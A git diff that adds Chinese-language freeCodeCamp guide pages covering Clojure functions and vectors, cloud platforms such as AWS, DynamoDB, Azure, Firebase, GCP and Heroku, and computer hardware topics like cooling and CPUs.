+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/VftymP)
+
+正如您所看到的，使用`&`将我们的函数参数分隔为一个名为`first`的变量和一个名为`rest`的变量列表。这意味着我们的函数可以有任意数量的参数！
+
+## 返回
+
+您可能已经注意到一些奇怪的事情。每当我们使用`println` ，似乎`nil`出现在我们的输出中。此外，我们的`add`函数返回`6` ，但我们从未告诉它返回任何东西。
+
+在Clojure中，回报是“隐含的”。如果您使用过Ruby，那么您可能对这个概念很熟悉。它不是告诉我们的函数返回某些东西，而是评估其体内的所有代码，并返回结果。例如，我们的`add`函数计算`(+ xyz)` ，然后返回该结果。
+
+我们使用`println`输出`nil`函数之所以是因为`println`计算结果为`nil` 。 （ `nil`就像`null`或`None` - 它代表什么都没有。）
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/what-is-clojure/18419) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](//forum.freecodecamp.com/t/clojure-conditionals/18412) |  
+| [摘要](//forum.freecodecamp.com/t/what-is-clojure/18419) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) | [条件](//forum.freecodecamp.com/t/clojure-conditionals/18412) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/vectors/index.md b/client/src/guide/chinese/clojure/vectors/index.md
new file mode 100644
index 0000000000..8b49176676
--- /dev/null
+++ b/client/src/guide/chinese/clojure/vectors/index.md
@@ -0,0 +1,71 @@
+---
+title: Clojure   Vectors
+localeTitle: Clojure矢量
+---
+向量可能是Clojure中最简单的集合类型。您可以将其视为Javascript中的数组。让我们定义一个简单的向量：
+```
+(def a-vector [1 2 3 4 5]) 
+ ;; Alternatively, use the vector function: 
+ (def another-vector (vector 1 2 3 4 5)) 
+ ;; You can use commas to separate items, since Clojure treats them as whitespace. 
+ (def comma-vector [1, 2, 3, 4, 5]) 
+```
+
+你会看到它使用方括号，就像JS中的数组一样。由于Clojure与JS一样是动态类型的，因此向量可以包含任何类型的元素，包括其他向量。
+```
+(def mixed-type-vector [1 "foo" :bar ["spam" 22] #"^baz$"]) 
+```
+
+## 将项添加到矢量
+
+您可以使用`conj`将项目附加到矢量。您也可以使用`into`前置到列表中，但请注意， `into`用于合并两个向量，因此它的参数必须是向量，而使用`into`比使用`conj`慢。
+```
+(time (conj [1 2] 3)) 
+ ; => "Elapsed time: 0.032206 msecs" 
+ ;    [1 2 3] 
+ (time (into [1] [2 3])) 
+ ; => "Elapsed time: 0.078499 msecs" 
+ ;    [1 2 3] 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/wBSUEd)
+
+## 从向量中检索项目
+
+您可以使用`get`从矢量中检索项目。这相当于使用括号表示法以许多命令式语言访问数组中的项目。向量中的项目为0索引，从左侧开始计数。
+```
+var arr = [1, 2, 3, 4, 5]; 
+ arr[0]; 
+ // => 1 
+```
+
+在Clojure中，这将是这样写的：
+```
+(def a-vector [1 2 3 4 5]) 
+ (get a-vector 0) 
+ ; => 1 
+```
+
+你也可以给`get`一个默认值，如果你给它一个指标，是不是在数组中。
+```
+;; the list doesn't have 2147483647 elements, so it'll return a string instead. 
+ (get a-vector 2147483646 "sorry, not found!") 
+ ; => "sorry, not found!" 
+```
+
+## 将其他集合转换为向量
+
+可以使用`vec`函数将非矢量数据结构转换为矢量。使用散列图，这将生成包含键和值对的2D向量。
+```
+(vec '(1 2 3 4 5)) 
+ ; => [1 2 3 4 5] 
+ (vec {:jack "black" :barry "white"}) 
+ ; => [[:jack "black"] [:barry "white"]] 
+```
+
+## 什么时候使用矢量？
+
+如果需要集合，几乎在所有情况下都应使用向量，因为它们具有最短的随机访问时间，这使得从向量中检索项目变得容易。请注意，向量是有序的。如果顺序无关紧要，最好使用一组。另请注意，向量是为追加物品而设计的;如果您需要预先添加项目，则可能需要使用列表。
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](//forum.freecodecamp.com/t/clojure-hashmaps/18414) |  
+| [列表](//forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) | [哈希地图](//forum.freecodecamp.com/t/clojure-hashmaps/18414) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/amazon-aws/dynamodb/index.md b/client/src/guide/chinese/cloud-development/amazon-aws/dynamodb/index.md
new file mode 100644
index 0000000000..32a927309b
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/amazon-aws/dynamodb/index.md
@@ -0,0 +1,33 @@
+---
+title: Amazon DynamoDB
+localeTitle: 亚马逊DynamoDB
+--- ## 亚马逊DynamoDB
+
+Amazon DynamoDB是Amazon Web Services（AWS）提供的一项服务，提供完全托管的NoSQL数据库。它的主要特征是根据所需的工作量无限扩展的能力。它是完全托管的，用户无需担心底层基础架构，例如如何根据工作负载进行扩展或缩小。它支持键值和基于文档的存储。
+
+DynamoDB服务的基本组件是：
+
+*   **表** ：DynamoDB将数据存储在表中，类似于关系数据库。主要区别在于它是无模式的，从创建之初就没有固定的结构。
+    
+*   **项目** ：项目是存储在表格中的数据，表格可以具有不确定数量的项目。与关系数据库相比，项目将是表格中的一行。
+    
+*   **属性** ：项具有属性，类似于关系数据库中的列。但是，由于DynamoDB是无模式的，因此项目不需要具有相同的属性。此外，属性可以是单个值，也可以是类似JSON的文档，其他字段也可以查询。
+    
+
+尽管DynamoDB不需要其表的固定结构，但它确实需要表中每个项的主键。与关系数据库一样，主键必须是唯一的。主键可以是简单的或组合的。简单主键仅由分区键组成。反过来，组合主键由分区键和排序键组成。在简单主键中，分区键必须是唯一的，而在组合键中，分区键可以相等，但排序键必须不同。
+
+分区键和排序键的概念非常重要，因为它与DynamoDB存储数据的方式有关。 DynamoDB将数据存储在分区中，分区键是分区的密钥。 DynamoDB使用分区键中的值作为哈希函数的输入，以了解它存储数据的位置。对于组合键，具有相同分区键的所有项都存储在同一分区中，但它们按排序键排序。
+
+Amazon DynamoDB也具有高可用性。它将数据复制到区域中不同可用区域中的许多服务器。可用区域是物理上隔开安全距离的数据中心。如果一台服务器发生灾难，其他服务器会将数据复制到一个安全的距离并且不受影响。
+
+由于其易于设置和无限的扩展能力，它适用于许多用例。它最适用于不知道所需负载或突然出现峰值的情况。一些用例是用于无服务器应用程序，微服务，移动后端，游戏，物联网等的数据存储。
+
+### 资源：
+
+*   [关键价值数据库](https://guide.freecodecamp.org/computer-science/databases/key-value-databases)
+*   [关系数据库](https://guide.freecodecamp.org/computer-science/databases/relational-databases)
+
+### 更多信息：
+
+*   “什么是Amazon DynamoDB？”来自[AWS DynamoDB文档](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Introduction.html?shortFooter=true)
+*   [AWS DynamoDB文档中的](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/HowItWorks.CoreComponents.html?shortFooter=true) “DynamoDB核心组件”
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/amazon-aws/index.md b/client/src/guide/chinese/cloud-development/amazon-aws/index.md
new file mode 100644
index 0000000000..bc1b9c302f
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/amazon-aws/index.md
@@ -0,0 +1,49 @@
+---
+title: Amazon Web Services
+localeTitle: 亚马逊网络服务
+---
+## 亚马逊网络服务
+
+Amazon Web Services（简称AWS）是Amazon.com的子公司，为个人，公司和政府提供按需云计算平台。 付费订阅基础，免费等级选项可用12个月。它与微软的Azure和谷歌的云平台一起被认为是三大主流 公共云供应商。
+
+该技术使订户可以随时使用通过互联网提供的完整虚拟计算机集群。 AWS的版本 虚拟计算机具有真实计算机的大部分属性，包括硬件（用于处理的CPU和GPU），本地/ RAM存储器，硬盘/ SSD存储器;一个选择 操作系统;联网;和预加载的应用程序软件，如Web服务器，数据库，CRM等。每个AWS系统还虚拟化其控制台I / O（键盘， 显示和鼠标），允许AWS用户使用现代浏览器从世界上任何地方连接到他们的AWS系统。浏览器充当了一个窗口 虚拟计算机，让订户登录，配置和使用他们的虚拟系统，就像他们真实的物理计算机一样。
+
+订户可以选择部署他们的AWS系统，以便为他们自己和客户的利益提供基于互联网的服务。自个人或组织以来 使用AWS物理上不拥有AWS基础架构，他们不必处理与拥有物理数据中心相关的一些维护任务，例如 操作网络设备。
+
+特别是AWS也在扩展他们的云产品。他们提供创新的服务，例如AWS Lambda，用户只需关注这些服务 编写代码而不是在将运行其代码的服务器上（产生新的_无服务器_运动）。由于这些好处，云计算 诸如AWS之类的平台在创业公司中很受欢迎，这些公司最初可能没有足够的资金投资于他们的信息技术或IT。相反，他们可以专注 通过AWS的随需应变模型，为用户构建优质产品并随着时间的推移发展业务。
+
+流行的AWS服务包括：
+
+*   通过EC2（弹性计算云）平台的虚拟机
+*   数据库包括SQL和NoSQL
+*   S3（简单存储服务）
+*   SQS（简单队列服务）
+*   通过Amazon Lumberyard游戏开发引擎和后续托管平台开发游戏。
+*   DynamoDB（亚马逊Dynamo数据库）
+*   CloudWatch（指标和警报）
+*   CodeDeploy（部署）
+*   Lambda（无服务器）
+*   应用监控工具
+*   移动开发工具和平台
+*   亚马逊Alexa开发区
+
+#### AWS认证
+
+AWS为其从业者提供了许多不同的认证。 AWS证书和基于角色的认证有不同的层次。 等级是：
+
+*   基础性
+*   关联
+*   专业的 每个角色都有这三个层次。
+
+这些角色包括：
+
+*   建筑师
+*   开发人员
+*   操作
+
+AWS还提供与任何人相关的先决条件AWS Cloud Practitioner Essentials认证\*，无论他们的角色如何。 除标准角色外，还有高级网络，大数据和安全性的专业认证。
+
+#### 更多信息：
+
+*   [AWS](https://aws.amazon.com/)
+*   [认证](https://aws.amazon.com/certification/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/application-frameworks/index.md b/client/src/guide/chinese/cloud-development/application-frameworks/index.md
new file mode 100644
index 0000000000..38938e0d0d
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/application-frameworks/index.md
@@ -0,0 +1,23 @@
+---
+title: Application Frameworks
+localeTitle: 应用框架
+---
+## 应用框架
+
+应用程序框架是用于运行应用程序的即用型软件。 Application Frameworks处理大多数应用程序执行的常见任务。 应用程序框架节省了开发时间和维护，因为多个应用程序供应商为共同原因汇集资源。 应用程序框架不仅仅是其命名组件的集合。 它包括独特的软件，可将其组件集成到系统范例中，通过使用可重用代码库简化常见，困难或重复性任务。 每个应用程序框架都使用一组独特的组件或以独特的方式解决问题 - 例如，寻址资源管理。
+
+### 更多信息：
+
+[应用框架（Wikipedia.org）](https://en.wikipedia.org/wiki/Application_framework)
+
+[Web应用程序框架（Wikipedia.org）](https://en.wikipedia.org/wiki/Web_framework)
+
+[代码重用（Wikipedia.org）](https://en.wikipedia.org/wiki/Code_reuse)
+
+### 资源
+
+[富互联网框架列表（Wikipedia.org）](https://en.wikipedia.org/wiki/List_of_rich_Internet_application_frameworks)
+
+[Web服务框架列表（Wikipedia.org）](https://en.wikipedia.org/wiki/List_of_web_service_frameworks)
+
+[Web框架的比较（Wikipedia.org）](https://en.wikipedia.org/wiki/Comparison_of_web_frameworks)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/azure/index.md b/client/src/guide/chinese/cloud-development/azure/index.md
new file mode 100644
index 0000000000..2793f97dc4
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/azure/index.md
@@ -0,0 +1,29 @@
+---
+title: Azure
+localeTitle: 天蓝
+---
+## Microsoft Azure
+
+Microsoft Azure是Microsoft的公共云产品，使个人和组织能够创建，部署和运行基于云的应用程序和基础结构服务。 Microsoft Azure公共云平台为全球组织提供IaaS，PaaS和SaaS服务，并支持许多不同的编程语言，工具和框架，包括Microsoft特定的软件和第三方软件和系统。
+
+Microsoft Azure还可以与各种Microsoft解决方案（如Microsoft System Center）结合使用，并且可以结合使用，将组织的当前数据中心扩展为混合云，从而扩展容量并提供超出仅通过以下方式提供的功能。前提立场。
+
+### 用于Microsoft Azure
+
+Microsoft Azure提供了许多服务和资源。 例如，您可以使用Azure虚拟机计算服务来构建虚拟服务器网络，以托管应用程序，数据库或自定义解决方案，这将是基于IaaS的产品。
+
+其他服务可以归类为PaaS，因为您可以在不维护底层操作系统的情况下使用它们。 例如，当您在Azure Web Apps中运行网站或在Azure SQL数据库中运行SQL数据库时，没有必要确保您使用的是最新版本的Internet信息服务（IIS）或SQL并拥有最新的修补程序和更新安装，因为这是Microsoft Azure平台的责任。
+
+Microsoft Azure上的SaaS服务示例是Operations Management Suite，它通过Operational Insights服务进行设置和访问。在这里，您只需设置管理工具并通过Microsoft Azure连接到您希望管理的服务，因此不需要或无需管理本地基础架构。
+
+### 环境
+
+Azure提供了丰富的不同环境类型，包括操作系统平台，如Windows Server和Ubuntu Server，可以选择多种变体，如Ubuntu 14.04或Ubuntu 16.10，可以通过通过首选客户端内置Azure Web CLI或SSH访问。
+
+有各种级别的机器“尺寸”可供选择，从简单的准系统低规格机器到多GPU和基于多CPU的重型打击盒。
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Microsoft_Azure)
+*   [Microsoft Azure](https://azure.microsoft.com/en-us/)
+*   [微软学习](https://docs.microsoft.com/en-us/learn/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/cloud-storage/index.md b/client/src/guide/chinese/cloud-development/cloud-storage/index.md
new file mode 100644
index 0000000000..c4688b7cbb
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/cloud-storage/index.md
@@ -0,0 +1,28 @@
+---
+title: Cloud Storage
+localeTitle: 云储存
+---
+## 存储即服务（StAAS）
+
+当我们使用云存储时，那就是StAAS。在此，云系统具有存储，用户在其系统上使用该存储，并可以使用该存储来存储数据。 云系统应具备Storage Scaling的功能。 我们可以集成所有存储。例如，如果我们有多个笔式驱动器，那么我们可以将所有笔式驱动器存储器集成在一个中。
+
+存储主要有两种类型
+
+1.  目的
+2.  块
+
+### 对象存储
+
+*   我们不能在云存储中进行make分区。我们只能在那里存储文件和文件夹。这称为对象存储。我们无法在那里安装操作系统，因为没有分区。
+*   **例**
+    *   谷歌驱动器（谷歌计算引擎，GCE），OneDrive，投递箱，微软天蓝色。
+    *   亚马逊拥有自己的云服务AWS。 S3（简单存储服务，SSS）是亚马逊提供StAAS的产品。这是一个公共云。任何人都可以使用他们的服
+    *   OpenStack是最大的私有云。 OpenStack有产品swift（对象存储）。
+
+### 块存储
+
+*   如果我们能够在提供的存储中创建分区，那么我们可以安装操作系统。我们有一个硬盘，我们可以在其中创建分区，这种类型的存储称为块存储。
+*   **例**
+    *   AWS的块存储服务 - EBS（弹性块存储）
+    *   云提供扩展存储的功能，这是云的弹性属性。
+    *   阻止OpenStack的存储 - Cinder
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/firebase/index.md b/client/src/guide/chinese/cloud-development/firebase/index.md
new file mode 100644
index 0000000000..91bb50e627
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/firebase/index.md
@@ -0,0 +1,40 @@
+---
+title: Firebase
+localeTitle: 火力地堡
+---
+## 火力地堡
+
+![Firebase徽标](https://firebase.google.com/_static/558bc0d91d/images/firebase/lockup.png)
+
+### 概观
+
+Firebase是最基本的形式，于2014年10月被谷歌收购。从那时起，谷歌已经收购了其他公司，这些公司称赞了原有的Firebase产品。现在，这些软件工具选择构成了当前提供的Firebase工具的当前选择。
+
+### Firebase主要功能
+
+Firebase主要功能分为3类：
+
+1.  **开发**
+    
+    *   认证
+    *   数据库
+    *   存储
+    *   主机
+    *   功能
+    *   测试实验室
+    *   崩溃报告
+    *   性能
+2.  **增长**
+    
+    *   通知
+    *   远程配置
+    *   动态链接
+3.  **赚**
+    
+    *   AdMob广告
+
+#### 更多信息：
+
+*   [火力地堡](https://firebase.google.com/)
+*   [维基百科](https://en.wikipedia.org/wiki/Firebase)
+*   [在这里，](https://firebase.google.com/docs/samples/)您可以找到有关如何在项目中使用Firebase的示例。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/google-cloud-platform/index.md b/client/src/guide/chinese/cloud-development/google-cloud-platform/index.md
new file mode 100644
index 0000000000..376912b68b
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/google-cloud-platform/index.md
@@ -0,0 +1,23 @@
+---
+title: Google Cloud Platform
+localeTitle: Google云端平台
+---
+## Google云端平台
+
+Google提供的Google云平台是一套云计算服务，运行在Google内部用于其最终用户产品的相同基础架构上，例如Google搜索和YouTube。\[1\]除了一套管理工具， 它提供一系列模块化云服务，包括计算，数据存储，数据分析和机器学习。
+
+一些着名的网络服务包括
+
+*   Google Compute Engine - 提供虚拟机的IaaS。
+*   Google App Engine - 用于应用程序托管的PaaS。
+*   Bigtable - IaaS可大规模扩展的NoSQL数据库。
+*   BigQuery - SaaS大​​规模数据库分析。
+*   Google Cloud Functions - 截至2017年8月正在进行beta测试。 FaaS提供无服务器功能，由云事件触发。
+*   Google Cloud Datastore - 提供面向文档的数据库的DBaaS。
+*   Cloud Pub / Sub - 用于发布和订阅数据流和消息的服务。应用程序可以通过Pub / Sub进行通信，而无需应用程序本身之间的直接集成。\[5\]
+*   Google存储 - IaaS提供RESTful在线文件和对象存储。
+
+#### 更多信息：
+
+*   [Google云平台文档](https://cloud.google.com/docs/)
+*   [维基百科](https://en.wikipedia.org/wiki/Google_Cloud_Platform)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/heroku/index.md b/client/src/guide/chinese/cloud-development/heroku/index.md
new file mode 100644
index 0000000000..92bb9763cb
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/heroku/index.md
@@ -0,0 +1,11 @@
+---
+ title: Heroku
+localeTitle: Heroku的
+---
+\## Heroku
+
+Heroku是一种支持多种编程语言的云平台即服务（PaaS），用作Web应用程序部署模型。 Heroku是最早的云平台之一，自2007年6月开始开发，当时它只支持Ruby编程语言，但现在支持Java，Node.js，Scala，Clojure，Python，PHP和Go。\[1\] \[ 2\]出于这个原因，Heroku被认为是一个多语言平台，因为它允许开发人员以类似的方式在所有语言中构建，运行和扩展应用程序。 Heroku于2010年被Salesforce.com以2.12亿美元收购
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Heroku)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/index.md b/client/src/guide/chinese/cloud-development/index.md
new file mode 100644
index 0000000000..5e54d2844c
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/index.md
@@ -0,0 +1,15 @@
+---
+title: Cloud Development
+localeTitle: 云开发
+---
+## 云开发
+
+云开发是在共享资源池中对基础架构组件使用软件工程实践。这可以通过多种方式在您的公司或组织自己的数据中心内完成，也可以在由第三方拥有和运营的“公共”共享数据中心内完成。
+
+公共云提供商的热门选择是Amazon Web Services，Microsoft Azure和Google Compute Engine。这些提供商运营大规模数据中心集群，成千上万的不同个人，公司和组织消耗这些资源。操作云涉及为这些不同用户的使用启用这些共享资源的分区。跟踪资源的消耗（也称为计量），然后根据所消耗的各种计算，网络和存储资源的不同财务方案向用户收费。
+
+据说许多现代网站和大数据工作都是在云中开发的，这意味着它们在一些大型共享数据中心中运行。
+
+#### 更多信息：
+
+[AWS入门](https://aws.amazon.com/getting-started/) [Google云端文档](https://cloud.google.com/docs/) [Microsoft Azure入门](https://docs.microsoft.com/en-us/azure/guides/developer/azure-developer-guide) [Firebase文档](https://firebase.google.com/docs/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/oss-frameworks/index.md b/client/src/guide/chinese/cloud-development/oss-frameworks/index.md
new file mode 100644
index 0000000000..5660e81f39
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/oss-frameworks/index.md
@@ -0,0 +1,49 @@
+---
+title: Internet Applications
+localeTitle: 互联网应用
+---
+## 互联网应用
+
+![技术层](https://upload.wikimedia.org/wikipedia/commons/9/9f/Linux_kernel_and_Computer_layers.png)
+
+### 概观
+
+Internet应用程序是通过将本地设备连接到远程应用程序服务器或云服务来启用的应用程序。 Internet应用程序在台式机和瘦客户机（如智能设备和其他Internet设备）上运行。 桌面通常使用Web浏览器来促进连接。 智能设备使用Web浏览器或专用“应用程序”或Rich Internet Application。 Web应用程序是一种Internet应用程序。
+
+### 全栈
+
+Internet应用程序由完整的堆栈组成。 堆栈有时分为两个部分或层：前端和后端。 然而，堆栈是分开的，应用程序由自身独有的软件和一堆依赖软件组成。 从属软件由库和提供服务的其他软件组成。
+
+### Full Stack作为子系统的系统
+
+查看每个组件的有用方法是作为子系统系统的一部分，其中每个子系统都是子系统系统。 作为类比，人体是一个子系统系统。 身体具有免疫子系统，消化子系统，神经子系统，骨骼子系统，肌肉子系统等。 消化系统包括肝脏子系统，例如“肝脏”。 每个子系统都是其自身活动或功能区域中的系统。
+
+### 堆栈的前端
+
+“前端”是在本地设备上执行工作的应用程序所独有的软件。 本地设备具有计算机的所有功能组件。安装在运行于硬件（或在硬件或其他虚拟硬件上运行的虚拟硬件）的操作系统中的软件应用程序。
+
+### 堆栈的后端
+
+“后端”是在远程服务器上执行工作的应用程序所独有的软件。 远程服务器具有计算机的所有功能组件：安装在运行于硬件（或在硬件或其他虚拟硬件上运行的虚拟硬件）的操作系统中的软件应用程序。
+
+### 应用偏向前端或后端
+
+寻求跨设备一致工作或需要数据存储和访问安全性的应用程序往往会在后端拥有大多数业务逻辑。 这是因为前端的软件受到来自恶意代理的更多攻击模式，例如病毒，恶意软件和内部威胁，即“内部黑客”。 此外，Web浏览器标准化了发送到前端的Web内容的呈现。
+
+寻求速度和有效使用项目资源的应用程序将尽可能多的软件移植到前端。 通过将资源移动到前端，项目可以与更多的最终用户共享其有限的后端资源。
+
+### Application Server
+
+应用程序服务器或软件框架为Internet应用程序提供了核心所需的依赖关系。
+
+### 更多信息：
+
+[FreeCodeCamp全栈开发认证](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification)
+
+[富Internet应用程序（Wikipedia.org）](https://en.wikipedia.org/wiki/Rich_Internet_application)
+
+[软件框架（Wikipeida.org）](https://en.wikipedia.org/wiki/Software_framework)
+
+[Web应用程序框架（Wikipedia.org）](https://en.wikipedia.org/wiki/Web_framework)
+
+[应用服务器（Wikipedia.org）](https://en.wikipedia.org/wiki/Application_server)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cloud-development/rackspace-cloud/index.md b/client/src/guide/chinese/cloud-development/rackspace-cloud/index.md
new file mode 100644
index 0000000000..f7ee7d01be
--- /dev/null
+++ b/client/src/guide/chinese/cloud-development/rackspace-cloud/index.md
@@ -0,0 +1,9 @@
+---
+  title: Rackspace Cloud
+localeTitle: Rackspace Cloud
+---
+\## Rackspace Cloud
+
+Rackspace Cloud是一组云计算产品和服务，基于美国公司Rackspace的公用计算基础。产品包括Web应用程序托管或平台即服务（“云站点”），云存储（“云文件”），虚拟专用服务器（“云服务器”），负载平衡器，数据库，备份和监控。 ＃＃＃＃ 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Rackspace_Cloud)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computational-genomics/index.md b/client/src/guide/chinese/computational-genomics/index.md
new file mode 100644
index 0000000000..9faac7fd1c
--- /dev/null
+++ b/client/src/guide/chinese/computational-genomics/index.md
@@ -0,0 +1,15 @@
+---
+title: Computational Genomics
+localeTitle: 计算基因组学
+---
+# 计算基因组学
+
+一个专门开发新算法以研究人类基因组的新领域。
+
+本节将重点介绍为此目的使用和创建的各种数据结构和算法，从后缀数组到序列对齐。
+
+## 要读的书
+
+Matthew W. Hahn介绍计算基因组学
+
+适合初学者的好书
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/cooling/index.md b/client/src/guide/chinese/computer-hardware/cooling/index.md
new file mode 100644
index 0000000000..7b28be24e5
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/cooling/index.md
@@ -0,0 +1,26 @@
+---
+title: Cooling Systems
+localeTitle: 冷却系统
+---
+您的计算机包含许多产生热量的部件。热量可能导致过早失败和不稳定的行为。超频图形或CPU越多，计算机运行的越热。冷却系统可确保您的计算机稳定并延长投资期限。
+
+## 箱体冷却
+
+外壳冷却可以是通风良好的外壳和使用风扇​​在外壳内循环空气的组合。大多数情况下至少有一个风扇。这是最低配置。为获得最佳效果，机箱中至少有两个风扇。一种是吸入冷空气，另一种是排出热空气。有许多不同类型的风扇和配置。电缆管理在冷却系统方面也起着重要作用。电缆管理不良和缠结的电线会扰乱气流并导致灰尘积聚在外壳内。
+
+## 组件冷却
+
+冷却设备可用于计算机上的各个部件。最常见的两种是CPU和显卡的冷却器。通常有两种类型的组件冷却系统，主动和被动。
+
+*   无源系统 - 通常由散热器或连接到组件的导热金属组成。被动冷却通过提供更大的表面来吸收和散热。
+*   有源系统 - 为散热器添加风扇，您正在积极地移除热量。冷却风扇可以动态调整到大多数主板上的CPU或显卡的负载。
+*   液体冷却 - 高性能计算机可受益于液冷系统。这些类型的系统在热部件和冷却散热器之间循环液体。
+
+## 环境考虑因素
+
+*   保持清洁 - 灰尘会堵塞风扇，散热器并形成一层绝热层。使用压缩空气将灰尘排出内腔。
+*   案例封面 - 与您在互联网上阅读的内容相反，保持计算机上的封面有助于散热。没有外壳盖子会扰乱气流，实际上会增加外壳内的热量。 室内通风 - 将计算机放置在房间环境寄存器的中立位置。始终将计算机远离室内加热器或通风口。
+*   放置房间 - 将计算机远离窗户或强烈阳光照射的区域。壁橱中的放置也可能对冷却提出挑战。
+*   放置在其他计算机旁边 - 将计算机远离其他设备可以让空气流入和流出计算机。靠近其他设备的放置会限制空气流动并增加热量。
+
+[维基百科 - 关于计算机冷却的文章](https://en.wikipedia.org/wiki/Computer_cooling)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/cpu/index.md b/client/src/guide/chinese/computer-hardware/cpu/index.md
new file mode 100644
index 0000000000..2be08316ef
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/cpu/index.md
@@ -0,0 +1,31 @@
+---
+title: CPU
+localeTitle: 中央处理器
+---
+## 中央处理器
+
+中央处理单元（CPU）充当计算机的“大脑”，允许其执行基本的计算任务。
+
+CPU是集成电路，是嵌入在单个芯片上的复杂电路。它们包括存储单个值的寄存器和输入/输出引脚。这些引脚允许它们与计算机的其余部分通信。由于CPU技术的不断发展，如今许多计算机都使用多处理单元。多处理器是包含两个或更多CPU或“核心”的单个芯片，可以提高处理能力。
+
+CPU速度以千兆赫兹（GHz）为单位。对于每千兆赫的速度，CPU可以在一秒钟内执行十亿个指令。这些说明非常简单，例如“添加两个数字”或“将此变量移动到此位置”。要查看此操作，请阅读[汇编语言](https://en.wikipedia.org/wiki/Assembly_language) 。
+
+千兆赫不是处理器实际速度的唯一决定因素，因为具有相同千兆赫速度（也称为时钟速度）的不同处理器可能会以不同的速度执行实际任务，因为使用不同的指令集来执行这些任务。这些指令集称为CPU架构。
+
+大多数现代CPU使用64位架构，这意味着它们使用64位长的内存地址。较旧的CPU使用32位，16位甚至8位架构。 64位CPU可以存储的最大数量是18,446,744,073,709,552,000。 CPPU需要内存地址才能从RAM中获取指定的值。如果我们称内存的长度为n，则2 ^ n是CPU可以寻址的内存单元的数量。
+
+CPU的指令周期称为fetch-decode-execute循环 - 计算机从其内存中检索指令，确定它取出的指令及其作用，然后执行所述指令。
+
+也许影响CPU的最常见问题是冷却不充分。 CPU是计算机系统中主要的热量发生器。由于它们的性质，它们通常位于计算机风扇下面。在计算机中存在各种减少热量的方法，其中两个主要系统是风扇或液体冷却系统。适当的热量维护和额外的硬件可以使正确配置的CPU的性能优于芯片制造商的额定值（即“超频”）。
+
+**功能**
+
+微处理器是包含数百万个微观晶体管的硅芯片。这个芯片充当了计算机的大脑。它处理可执行计算机程序中包含的指令或操作。处理器从内存中取出指令，而不是直接从硬盘驱动器上取指令。这大大提高了计算机的速度。
+
+**计算机微处理器制造商**
+
+计算机微处理器有两个主要制造商。英特尔和AMD（Advanced Micro Devices）在速度和质量方面处于领先地位。英特尔的台式机CPU包括Celeron，Pentium和Core。 AMD的台式机处理器包括Sempron，Athlon和Phenom。英特尔为笔记本电脑生产Celeron M，Pentium M和Core移动处理器。 AMD生产其Sempron和Athlon的移动版本，以及采用Ultra和双核版本的Turion移动处理器。两家公司都生产单核和多核处理器。
+
+#### 更多信息：
+
+[维基百科](https://en.wikipedia.org/wiki/Central_processing_unit)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/expansion-cards/index.md b/client/src/guide/chinese/computer-hardware/expansion-cards/index.md
new file mode 100644
index 0000000000..131dd12744
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/expansion-cards/index.md
@@ -0,0 +1,13 @@
+---
+title: Expansion Cards
+localeTitle: 扩展卡
+---
+## 扩展卡
+
